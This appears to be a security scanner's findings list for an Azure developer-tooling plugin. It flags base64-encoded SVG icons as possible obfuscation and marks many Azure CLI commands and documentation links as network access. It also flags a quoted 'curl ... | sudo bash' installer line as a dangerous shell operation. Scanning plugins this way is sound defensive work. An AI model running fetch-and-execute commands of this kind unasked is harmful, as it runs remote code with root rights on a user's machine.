"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzUgMTMuNDQ2NEgxNS42MjVWMTMuNTcxNFYxNS42Njk2QzE1LjYyNSAxNS44Mzc4IDE1LjU5MzEgMTUuOTkzMyAx - Possible obfuscationline 1212
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC4wMjA1ODk4IDUuNTU3MjlDMC4xMTUyNzYgNS43MzQxMSAwLjMwMDAzMSA1Ljg3Nzc4IDAuNTM2NjYzIDUuOTU4Nkw5 - Possible obfuscationline 1217
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCB3aWR0aD0iNC4yODU3MyIgaGVpZ2h0PSIxOCIgcng9IjEiIGZpbGw9InVybCgjcGFpbnQwX2xpbmVhcl82MTAyXzEzNDQzNCki - Possible obfuscationline 1222
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTEpIj48cGF0aCBkPSJNNC43MjE2MyAxMi4wODA0QzQuNzIxNzYgMTIuMTk4 - Possible obfuscationline 1227
"b64": "PHN2ZyBpZD0iZjk4NTY3NzMtN2RiZC00ZGI2LWFhMGUtZjE1MTg2NjRmZGU4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmNTdiOTZhLTY2YTktNGRiMy04MGY5 - Possible obfuscationline 1232
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOTQzMGM1LTE2MTQtNGIyMi04MDg2LTdjY2MyNTAwOGY5ZSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 1237
"b64": "PHN2ZyBpZD0iZTRhZThhMDItZWNkZi00NjE1LWFjYWItN2RlNTBhYTY2MDhjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmU1M2U5LTM3MzItNGU0Ni1iNDUz - Possible obfuscationline 1242
"b64": "PHN2ZyBpZD0iYmYzYTI0MTktMTM1Yi00MWVlLWJjODgtMmYzYjFhY2M1NmZiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTk4MGQ0LWZhNWQtNGM4NC1iYzkw - Possible obfuscationline 1247
"b64": "PHN2ZyBpZD0iYTdmMzY4YjktNTdjNC00YTdiLWE2MWQtNDExNjZjZTc0YTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwZjI1ZWY3LWQ2ODAtNGRhYy1hNzUx - Possible obfuscationline 1252
"b64": "PHN2ZyBpZD0iZTIzNTQ2NjUtZGEzZS00N2RhLWJkYmYtYzBhMDYxYjVkMGI1IiBkYXRhLW5hbWU9IkxheWVyIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0Jv - Possible obfuscationline 1257
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2ZTYyMjQxLTU1YWItNDhjZi05YTM0LTllMDc1OWE4OWRmZCIgeDE9IjExLjEyMiIgeTE9IjEzLjkyIiB4Mj0i - Possible obfuscationline 1262
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUxYmMxMjJhLTUxOTMtNGI5MS04ZDEwLWM5NGM4YTNjYWYwNCIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1267
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGU1NDFhLWYyNjctNDVhNi05Y2NlLTAyMWIxNWE4NTM2YSIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1272
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExNWQyM2I3LWQ2OWUtNGQ3Mi04MDM5LTVjZWI3ZTU5MjA2ZSIgeDE9IjguOTk5IiB5MT0iNi44MDciIHgyPSI4 - Possible obfuscationline 1277
"b64": "PHN2ZyBpZD0iYTI2ZTdkMGQtYzE1OS00MzdjLTg0NWUtNTI5NzI2ZjNkZjllIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTU3NmU1LWZlZjgtNGJmNS1hNmRk - Possible obfuscationline 1282
"b64": "PHN2ZyBpZD0iZTAwYWRmODItM2EyYi00ZDYzLTg4ZDYtMDRlMGZkNjEzNzE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzNDk0NDkyLTkzMjItNDg2NC1iMjE1 - Possible obfuscationline 1287
"b64": "PHN2ZyBpZD0iYTk4NTE3ZmQtMDY1NS00MGE0LThkZGEtYWU0N2ExNDgwMjgwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MDIyNmJhLTZkMGQtNDk1Ni04ZjE5 - Possible obfuscationline 1292
"b64": "PHN2ZyBpZD0iYjQ4YzUwODktYjkyNi00ZTVjLWFmZGQtYzhkMzdmZWU3MDVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmNzFjYThiLWUwYzMtNDJhMy1iMTc0 - Possible obfuscationline 1297
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQzYmNkLTU1YWEtNDg0MC1hNWFjLTM5ZDU3YWZkNDIyOCIgeDE9IjkuMjYxIiB5MT0iLTAuMzY0IiB4Mj0i - Possible obfuscationline 1302
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9IjU0OGZkMzE4LWIzZWQtNGYyZC04YWRiLTQ4ZjZlOTY4NWJjZiIgY3g9IjguMzgiIGN5PSI0NDUuOTQiIHI9IjQu - Possible obfuscationline 1307
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMjhkMDc1LWU1MjEtNDM5Ni1hNmNlLWE1OGE4NGM2NjlkYiIgeDE9IjUuMzY4IiB5MT0iMi41OTkiIHgyPSI5 - Possible obfuscationline 1312
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1317
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1322
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1327
"b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx - Possible obfuscationline 1332
"b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu - Possible obfuscationline 1337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5 - Possible obfuscationline 1342
"b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj - Possible obfuscationline 1347
"b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2 - Possible obfuscationline 1352
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0 - Possible obfuscationline 1357
"b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm - Possible obfuscationline 1362
"b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx - Possible obfuscationline 1367
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4 - Possible obfuscationline 1372
"b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u - Possible obfuscationline 1377
"b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4 - Possible obfuscationline 1382
"b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz - Possible obfuscationline 1387
"b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh - Possible obfuscationline 1392
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i - Possible obfuscationline 1397
"b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl - Possible obfuscationline 1402
"b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md
- Network accessline 29
# Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 30
brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI - Dangerous shell operationline 31
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 31
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 151
- [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/build-and-tasks.md
- Network accessline 32
# Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 33
az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 59
az acr task create --registry {registry} --name build-app \ --image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 60
--image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ --file Dockerfile \ - Network accessline 61
--context https://github.com/{org}/{repo}.git#main \ - Network accessline 124
az acr task create --registry {registry} --name build-test-push \ --file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 125
--file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ --git-access-token {pat} - Network accessline 126
--context https://github.com/{org}/{repo}.git#main \
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/images-and-artifacts.md
- Network accessline 148
az acr credential-set create --registry {registry} --name dockerhub-creds \ --login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 149
--login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ --password-id https://{vault}.vault.azure.net/secrets/dh-pass - Network accessline 150
--username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 151
--password-id https://{vault}.vault.azure.net/secrets/dh-pass
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/references/networking-and-geo.md
- Network accessline 93
Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected. - Network accessline 130
az acr export-pipeline create --resource-group {rg} --registry {src-registry} \ --name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 131
--name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 132
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 133
--storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 136
az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \ --name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 137
--name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 138
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 139
--storage-container-uri https://{account}.blob.core.windows.net/{container}
harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md
- Access to secretsline 40
[Credential-related source omitted]
harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/ERROR-HANDLING.md
- Network accessline 35
- **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 37
- **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 166
- **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn - Network accessline 168
- **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064 - Network accessline 211
2. Provide installation instructions. - If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 212
- If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands - Network accessline 213
- Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 245
- **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - Network accessline 246
- **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if - Network accessline 247
- **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/examples/azure.yaml
- Network accessline 1
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/iac-and-environments.md
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/official-docs.md
- Network accessline 7
- [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 8
- [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview) - Network accessline 9
- [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates) - Network accessline 10
- [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible) - Network accessline 11
- [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema) - Network accessline 12
- [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json) - Network accessline 13
- [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow) - Network accessline 14
- [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment) - Network accessline 18
- [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 19
- [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/) - Network accessline 20
- [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/) - Network accessline 21
- [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/) - Network accessline 25
- [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview) - Network accessline 26
- [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments) - Network accessline 27
- [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables) - Network accessline 28
- [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support) - Network accessline 29
- [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets) - Network accessline 33
- [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility) - Network accessline 34
- [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline) - Network accessline 35
- [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions) - Network accessline 36
- [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features) - Network accessline 37
- [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference) - Network accessline 38
- [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot) - Network accessline 42
- [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills) - Network accessline 43
- [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/references/project-structure.md
- Network accessline 59
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md
- Network accessline 31
# Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 32
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 32
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 41
az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN - Network accessline 42
az devops configure --defaults organization=https://dev.azure.com/{org} project={project} - Network accessline 46
Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`. - Network accessline 133
- **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https:// - Network accessline 134
- **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr - Network accessline 135
- **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - Network accessline 161
**Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}` - Network accessline 162
**Organization:** `https://dev.azure.com/{org}` - Network accessline 182
